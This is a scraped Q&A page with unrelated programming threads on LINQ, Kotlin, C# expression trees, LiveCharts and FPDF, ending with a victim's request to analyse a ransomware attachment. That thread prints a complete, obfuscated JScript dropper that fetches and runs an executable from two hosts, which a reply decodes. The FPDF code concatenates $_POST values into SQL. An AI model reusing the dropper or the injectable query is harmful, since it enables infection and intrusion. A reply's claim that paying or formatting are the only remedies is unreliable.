I would like use linq to sql to query (prefer vb.net but c# example will do a table for records that are grouped by a field in the table and have holes in the datetime field that are greater than 30 minutes. My table has records added at regular intervals during the lifetime of a job generally every two minutes occasionally there is a period of missing records. The table holds records for multiple jobs in the same date range although I have only added one with a different job number to highlight this. The table looks like the table below.
Edit:
VB .NET, untested:
Dim jobs = New List(Of Job)() From {
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 0, 0, 0),
.JobGroup = 1,
.Value = 100
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 2, 0, 0),
.JobGroup = 1,
.Value = 200
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 4, 0, 0),
.JobGroup = 1,
.Value = 300
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 7, 0, 0),
.JobGroup = 2,
.Value = 600
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 40, 0, 0),
.JobGroup = 1,
.Value = 400
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 42, 0, 0),
.JobGroup = 1,
.Value = 500
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 9, 0, 0),
.JobGroup = 2,
.Value = 700
},
New Job() With {
.Date = New DateTime(2020, 10, 1, 1, 49, 0, 0),
.JobGroup = 2,
.Value = 800
}
}
Dim gaps = jobs.OrderBy(Function(x) x.JobGroup).Skip(1).Zip(jobs, Function(c, p) New With {Key
.Current = c, Key
.Previous = p, Key
.Gap = (c.Date - p.Date).TotalMinutes
}).Where(Function(x) x.Gap >= 30 AndAlso (x.Current.JobGroup = x.Previous.JobGroup))
For Each gap In gaps
Console.WriteLine($"Job Group: {gap.Current.JobGroup}, Gap (minutes): {gap.Gap}, Value: {gap.Current.Value} ")
Next
End Sub
Class Job
Public Property JobGroup As Integer
Public Property Date As DateTime
Public Property Value As Integer
End Class
I´m a bit rusty at VB so I´ll give you an C# answer like you said.
//Sample Data //Year, Month, Day, Hour, Minute, Second, Millisecond
var jobs = new List<Job>() { new Job() { Date = new DateTime(2020, 10, 1, 1, 0, 0, 0), JobGroup = 1 ,Value = 100},
new Job() { Date = new DateTime(2020, 10, 1, 1, 2, 0, 0),JobGroup = 1 ,Value = 200} ,
new Job() { Date = new DateTime(2020, 10, 1, 1, 4, 0, 0),JobGroup = 1 ,Value = 300},
new Job() { Date = new DateTime(2020, 10, 1, 1, 7, 0, 0), JobGroup = 2 ,Value = 600},
new Job() { Date = new DateTime(2020, 10, 1, 1, 40, 0, 0),JobGroup = 1 ,Value = 400},
new Job() { Date = new DateTime(2020, 10, 1, 1, 42, 0, 0), JobGroup = 1 ,Value = 500},
new Job() { Date = new DateTime(2020, 10, 1, 1, 9, 0, 0), JobGroup = 2 ,Value = 700},
new Job() { Date = new DateTime(2020, 10, 1, 1, 49, 0, 0), JobGroup = 2 ,Value = 800}
};
//Determine gaps
var gaps = jobs.OrderBy(x => x.JobGroup) //don´t mix job group IDs
.Skip(1) //To compare current and previous job record
.Zip(jobs, (c, p) => new { Current = c, Previous = p, Gap = (c.Date - p.Date).TotalMinutes }) //Determine gap between current and previous record
.Where(x => x.Gap >= 30 && (x.Current.JobGroup == x.Previous.JobGroup)); //Only take those gaps which are GT 30 minutes
foreach(var gap in gaps)
{
Console.WriteLine($"Job Group: {gap.Current.JobGroup}, Gap (minutes): {gap.Gap}, Value: {gap.Current.Value} ");
}
//Result:
//Job Group: 1, Gap(minutes): 36, Value: 400
//Job Group: 2, Gap(minutes): 40, Value: 800
My sample data is just a simple DTO
class Job
{
public int JobGroup { get; set; }
public DateTime Date { get; set; }
public int Value { get; set; }
}
Be aware that #Alex B's solution requires the table be pulled into memory before executing because .Zip isn't translatable to SQL. in this case, you may want to look into doing this via a view leveraging SQL's Lag...Over syntax and just consume the results of that via a Linq to SQL Entity. Something like:
CREATE VIEW vwJobGaps AS
SELECT Job, DateAdded, PrevDateAdded, Value,
DATEDIFF(m, PrevDateAdded, DateAdded) As MinutesFromLastJob
FROM
(SELECT Job, DateAdded, Value,
LAG(DateAdded, 1, null) over (Partition by Job order by DateAdded ASC) As PrevDateAdded
FROM MYTable))
And then for your entity:
<Table("vwJobGaps")>
Public Class JobGap
Public Property Job As Integer
Public Property DateAdded As DateTime
Public Property PrevDateAdded As DateTime
Public Property Value As Decimal
Public Property MinutesFromLastJob As Integer
End Class
Since you're using a view here, you can add additional filters, joins, etc using standard LINQ to SQL just as you would other tables:
var query = from gap in dc.JobGaps
where gap.MinutesFromLastJob > 30
'' select clause not needed in vb
Related
In kotlin I want filter a range of Int to make odd/even example. so I made a listOf range 1..50
val angka = listOf(1..50)
followed by applying filter for even and filterNot for odd
val genap = angka.filter { it % 2 == 0}
val ganjil = angka.filterNot { it % 2 == 0 }
then printing both the even/odd lists
println("Genap = $genap")
println("Ganjil = $ganjil")
I do not see any problems with code, but it does throws exception mentioned below
Unresolved reference. None of the following candidates is applicable because of receiver type mismatch:
public inline operator fun BigDecimal.mod(other: BigDecimal): BigDecimal defined in kotlin
This is creating a List<IntRange> with a single element:
val angka = listOf(1..50)
You should instead directly filter the range:
val angka = 1..50
The rest of the code is correct.
If you are a beginner with Kotlin, please either specify the type of values explicitly, or turn on the local variable type hits.
This way you would have noticed that the code is not perfect. Your list angka is not a list of type List<Int>, but a list of type List<IntRange>.
Meaning that you are not doing Int % 2 == 0, but in fact, you are doing IntRange % 2 == 0.
If you want to get a list from a range, you need to do (x..y).toList(). So your code will be:
val angka = (1..50).toList() //or since you are not using this list anywhere else, just leave it as `1..50` and the filter will work fine on the IntRange.
val genap = angka.filter { it % 2 == 0 }
val ganjil = angka.filterNot { it % 2 == 0 }
println("Genap = $genap")
println("Ganjil = $ganjil")
With output:
Genap = [2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, 46, 48, 50]
Ganjil = [1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31, 33, 35, 37, 39, 41, 43, 45, 47, 49]
Your declaration of all numbers is wrong... it is like this val angka: List<IntRange> = listOf(1..50). You created a list of ranges contaning one range.
This should work:
val angka = 1..50
val genap = angka.filter { it % 2 == 0}
val ganjil = angka.filterNot { it % 2 == 0 }
println("Genap = $genap")
println("Ganjil = $ganjil")
I know how to build a simple lambda like x => x > 5:
int[] nbs = new[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
IEnumerable<int> result1 = nbs.Where(x => x > 5);
ParameterExpression parameter = Expression.Parameter(typeof(int), "x");
ConstantExpression constant = Expression.Constant(5);
BinaryExpression expressionBody = Expression.GreaterThan(parameter, constant);
Expression<Func<int, bool>> expression = Expression.Lambda<Func<int, bool>>(expressionBody, parameter);
IEnumerable<int> result2 = nbs.Where(expression.Compile());
But how do I build a lambda like x => whiteNbs.Contains(x) in a similar way as above:
int[] nbs = new[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
List<int> whiteNbs = new List<int>() { 1, 5 };
IEnumerable<int> result = nbs.Where(x => whiteNbs.Contains(x));
Replace binary GreaterThan expression with a MethodCallExpression.
int[] nbs = new[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
var elementType = typeof(int);
var x = Expression.Parameter(elementType, "x");
var whiteNbs = Expression.Constant(new List<int>() {1, 5});
var contains = Expression.Call(typeof(Enumerable),
"Contains",
new[] {elementType},
whiteNbs,
x
);
var lambda = Expression.Lambda<Func<int, bool>>(contains, x);
var result = nbs.Where(lambda.Compile());
I'm using the Livecharts library to generate the graphics in my project, but I'm having trouble getting the values to fill the graph, the code I have is the following
grafico2.Series = New SeriesCollection From {
New StackedRowSeries With {
.Values = New ChartValues(Of Double) From {
67, 16, 41, 0, 7, 92, 3
},
.StackMode = StackMode.Percentage,
.DataLabels = True,
.LabelPoint = Function(p) p.X.ToString(),
.Title = "Faltantes"
},
New StackedRowSeries With {
.Values = New ChartValues(Of Double) From {
23, 1, 1, 4, 2, 102, 0
},
.StackMode = StackMode.Percentage,
.DataLabels = True,
.LabelPoint = Function(p) p.X.ToString(),
.Title = "Respondidas"
}
}
If I put the values of New ChartValues (Of Double) From {}, the graph works well, but I want to fill it from a For each and that the graph is denamic.
I'm running out of ideas, you can help me
I'm trying to output a data table extracted from database using FPDF.
My problem is that the first page of output is coming as it is expected, but after the table ends in first page and it goes to second page then rows of table are coming in one row per page.
I tried searching whole internet thing but i couldn't find out the suitable answer with reference to my below code. Below is my fpdf file code.
<?php
require('fpdf.php');
include("pdoconnect.php");
class PDF extends FPDF
{
// Page header
function Header()
{
$this->Image('picture.png',10,6,30);
$this->SetFont('Arial','B',15);
// Move to the right
$this->Cell(80);
// Title
$this->SetTextColor( 255, 119, 0 );
$this->Cell(30,10,'Report',0,0,'C');
// Line break
$this->Line(10, 22, 210-10, 22);
$this->Ln(20);
}
// Page footer
function Footer()
{
$this->Line(10, 280, 210-10, 280);
$this->SetY(-15);
$this->SetFont('Arial','I',8);
// Page number
$this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');
}
}
$result='SELECT * FROM report WHERE time BETWEEN "'.$_POST["fromdate"].'" AND "'.$_POST["todate"].'"';
$link=$db->prepare($result);
$link->execute();
$resultset=$link->fetchAll();
$count=$link->rowCount();
$pdf = new PDF();
$pdf->AliasNbPages();
$pdf->SetTitle("Report");
$pdf->AddPage();
$row_height = 10;
$y_axis=30;
$pdf->SetY($y_axis);
$pdf->SetX(25);
$pdf->Cell(30, 10,"", 0, 0, 1);
$y_axis = $y_axis + $row_height;
$pdf->SetDrawColor(128,0,0);
$pdf->SetTextColor(102, 68, 34 );
$pdf->SetFont('Arial', 'B', 10);
$pdf->SetY($y_axis);
$pdf->SetX(11);
$pdf->Cell(34,10,'Order ID',1,0,'C');
$pdf->Cell(35,10,'Name',1,0,'C');
$pdf->Cell(30,10,'TID',1,0,'C');
$pdf->Cell(20,10,'Quantity',1,0,'C');
$pdf->Cell(20,10,'Date',1,0,'C');
$pdf->Cell(20,10,'Time',1,0,'C');
$pdf->Cell(30,10,'Bill Amount',1,0,'C');
$y_axis = $y_axis + $row_height;
$total=0;
foreach($resultset as $row)
{
$len=strlen($row['name']);
if($len>21)
{
$name=substr($row['name'],0,19)."..";
}
else
{
$name = $row['name'];
}
$oid = $row['order_id'];
$tid = $row['t_id'];
$qty = $row['quantity'];
$date = $row['date'];
$time = $row['time'];
$amt = $row['bill_amount'];
$total=$total+$amt;
$pdf->SetDrawColor(128,0,0);
$pdf->SetTextColor(0);
$pdf->SetFont('Arial', '', 9);
$pdf->SetY($y_axis);
$pdf->SetX(11);
$pdf->Cell(34, 10, $oid, 1, 0, 'L');
$pdf->Cell(35, 10, $name, 1, 0, 'L');
$pdf->Cell(30, 10, $tid, 1, 0, 'C');
$pdf->Cell(20, 10, $qty, 1, 0, 'C');
$pdf->Cell(20, 10, $date, 1, 0, 'C');
$pdf->Cell(20, 10, $time, 1, 0, 'C');
$pdf->Cell(30, 10, $amt, 1, 0, 'R');
$y_axis = $y_axis + $row_height;
$pdf->SetY(10);
$pdf->SetX(170);
}
$totalre=$total-$r_amt;
$pdf->SetDrawColor(128,0,0);
$pdf->SetTextColor(0);
$pdf->SetFont('Arial', 'B', 11);
$pdf->SetY($y_axis);
$pdf->SetX(137);
$pdf->Cell(42, 10,'Total', 0, 0, 'C');
$pdf->SetTextColor(255,0,0);
$pdf->Cell(25, 10, $totalre , 0, 0, 'C');
$y_axis = $y_axis + $row_height;
$pdf->SetAutoPageBreak(false,20);
$pdf->Output();
?>
I want the second page displayed as first page without splitting the table rows. Please help.
This is due to the yAxis being greater than the height of the page, you will need to manually add pages and reset the yAxis using something similar to:
if ($y_axis + $row_height >= $pdf->GetPageHeight() - 20)
{
$pdf->AddPage();
$y_axis = 30;
}
after incrementing the yAxis (the -20 is to allow space for the footer)
The code should be included as below:
$y_axis = $y_axis + $row_height;
if ($y_axis + $row_height >= $pdf->GetPageHeight() - 20)
{
$pdf->AddPage();
$y_axis = 30;
}
$pdf->SetY(10);
$pdf->SetX(170);
inside your foreach loop
I'm not sure if it is allowed to ask this question here.
I just have a friend with PC which is infected with some sort of "RANSOMWARE" - a type of malware where will encrypt your file/s and ask for payment for decryption.
I managed to take out the root processes of the virus(which encrypt and change all of document, images and video files to "*.micro" files) but recovering the infected data is a bit difficult and not much resources available online yet.
Here is the .js script file that triggers the malware:
var _base64Idx = [
/*43 -43 = 0*/
/*'+', 1, 2, 3,'/' */
62, -1, -1, -1, 63,
/*'0','1','2','3','4','5','6','7','8','9' */
52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
/*15, 16, 17,'=', 19, 20, 21 */
-1, -1, -1, 64, -1, -1, -1,
/*65 - 43 = 22*/
/*'A','B','C','D','E','F','G','H','I','J','K','L','M', */
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12,
/*'N','O','P','Q','R','S','T','U','V','W','X','Y','Z' */
13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,
/*91 - 43 = 48 */
/*48, 49, 50, 51, 52, 53 */
-1, -1, -1, -1, -1, -1,
/*97 - 43 = 54*/
/*'a','b','c','d','e','f','g','h','i','j','k','l','m' */
26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,
/*'n','o','p','q','r','s','t','u','v','w','x','y','z' */
39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51
];
function decode(input, output, offset) {
var out = output;
if(!out) {
out = new Uint8Array(Math.ceil(input.length / 4) * 3);
}
// remove all non-base64 characters
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');
offset = offset || 0;
var enc1, enc2, enc3, enc4;
var i = 0, j = offset;
while(i < input.length) {
enc1 = _base64Idx[input.charCodeAt(i++) - 43];
enc2 = _base64Idx[input.charCodeAt(i++) - 43];
enc3 = _base64Idx[input.charCodeAt(i++) - 43];
enc4 = _base64Idx[input.charCodeAt(i++) - 43];
out[j++] = (enc1 << 2) | (enc2 >> 4);
if(enc3 !== 64) {
// decoded at least 2 bytes
out[j++] = ((enc2 & 15) << 4) | (enc3 >> 2);
if(enc4 !== 64) {
// decoded 3 bytes
out[j++] = ((enc3 & 3) << 6) | enc4;
}
}
}
// make sure result is the exact decoded length
return output ?
(j - offset) :
out.subarray(0, j);
}
var tEuosqyTkm = function (packedText) {
var buffer = [];
var length = decode(packedText, buffer);
var charCodeAt = "charCodeAt";
var result = "";
for (var i = 0; i < length; i++) {
result += String.fromCharCode(buffer[i] ^ "bVE6YUkX3beIQAEG"[charCodeAt](i % "bVE6YUkX3beIQAEG".length));
}
return result;
};
var aideN66 = function() {
var vapidAuw = function() {};
vapidAuw.prototype.create = function(disapprobationQvY) {
return WScript.CreateObject(disapprobationQvY);
};
return vapidAuw;
}();
(function() {
var nettlepkm = new aideN66();
var banterKA3 = 200;
var inspireRpB = tEuosqyTkm('"JRMR"');
var pallidK2I = tEuosqyTkm('"Jy4gVQ=="');
var sultryiRC = tEuosqyTkm('"NQUmRDAlH3ZgCgAlPQ=="');
var constrainedfQW = tEuosqyTkm('"LwUdexVnRQB+Li0dBRE="');
var interpolatevY1 = tEuosqyTkm('"BDx8AAg0ABdDMA=="');
var denouementpK3 = tEuosqyTkm('"KgcBcCwRER56Jw=="');
var gratisE9J = tEuosqyTkm('"CG4EQWAYCg90Lg=="');
var rangeuR2 = tEuosqyTkm('"Jz0LeGwnBWwFIw=="');
var broochIQm = tEuosqyTkm('"MzoheDZsKhddBQ=="');
var smatteringBY6 = tEuosqyTkm('"NhQQXwwiOABAVA=="');
var interminablecBc = tEuosqyTkm('"MzwOBioiPyJwLQ=="');
var sonorousmpK = tEuosqyTkm('"IxIKchs="');
var evidentzgN = tEuosqyTkm('"MSI3Uzg4"');
var convalesceWKQ = tEuosqyTkm('"RwIAewlwNw=="');
var justifyaTv = tEuosqyTkm('"TDM9Uw=="');
var cedeWsU = Math.pow(2, 10) * 249;
var foilgEV = [ tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFgoJEU7XA9Ke2dvID8H"'), tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFg/M0U7XA9Ke2dvID8H"') ];
var suavityzSi = 2097152;
var flagHQx = nettlepkm.create(sultryiRC);
var endemicfVU = nettlepkm.create(constrainedfQW);
var evidentv5F = nettlepkm.create(sonorousmpK + tEuosqyTkm('"TA=="') + evidentzgN);
var humbleM87 = flagHQx.ExpandEnvironmentStrings(convalesceWKQ);
var weltPvA = humbleM87 + suavityzSi + justifyaTv;
var roseatef1b = false;
for (var masticatehJi = 0; masticatehJi < foilgEV.length; masticatehJi++) {
try {
var invocationIOk = foilgEV[masticatehJi];
endemicfVU.open(inspireRpB, invocationIOk, false);
endemicfVU.send();
if (endemicfVU.status == banterKA3) {
try {
evidentv5F.open();
evidentv5F.type = 1;
evidentv5F.write(endemicfVU[tEuosqyTkm('"EDM2RjY7GD1xDQEw"')]);
if (evidentv5F.size > cedeWsU) {
masticatehJi = foilgEV.length;
evidentv5F.position = 0;
evidentv5F.saveToFile(weltPvA, 2);
roseatef1b = true;
}
} finally {
evidentv5F.close();
}
}
} catch (ignored) {}
}
if (roseatef1b) {
flagHQx[pallidK2I](humbleM87 + Math.pow(2, 21));
}
})();
Anybody here can help me out on reverse engineering this script to decrypt/recover the encrypted files?
Thank you :)
P.S. FYI, this "ransomware" script circulating through emails as attachment since 9th of Feb 2016.
It just downloads runs an actual executable script.
It tries to get it from http[colon]//helloyoungmanqq.com/26.exe first, then http[colon]//helloyoungmanff.com/26.exe if that fails. I assume it's the same file, just a backup download site.
All that encoding stuff is just to obfuscate the strings it uses to run the ActiveX stuff that does this (since otherwise it would quite quickly be easily recognized by software and humans alike as malicious).
This script is not your answer...it just leads to the next stuff to look into.
I would highly recommend being very careful with those files should you download them.
It's very dangerous to play with Ransomware source codes. You will surely end up losing your data if at all you try to recover from Ransomware. The only way to remove ransomware is either you pay the ransom amount or you just format the system completely without leaving any file in the system.
There are few tools available to remove ransomware but I am not sure about which version of Ransomware you are talking about in this post. There are many Ransomware families that exist and every Ransomware has its own source codes and files!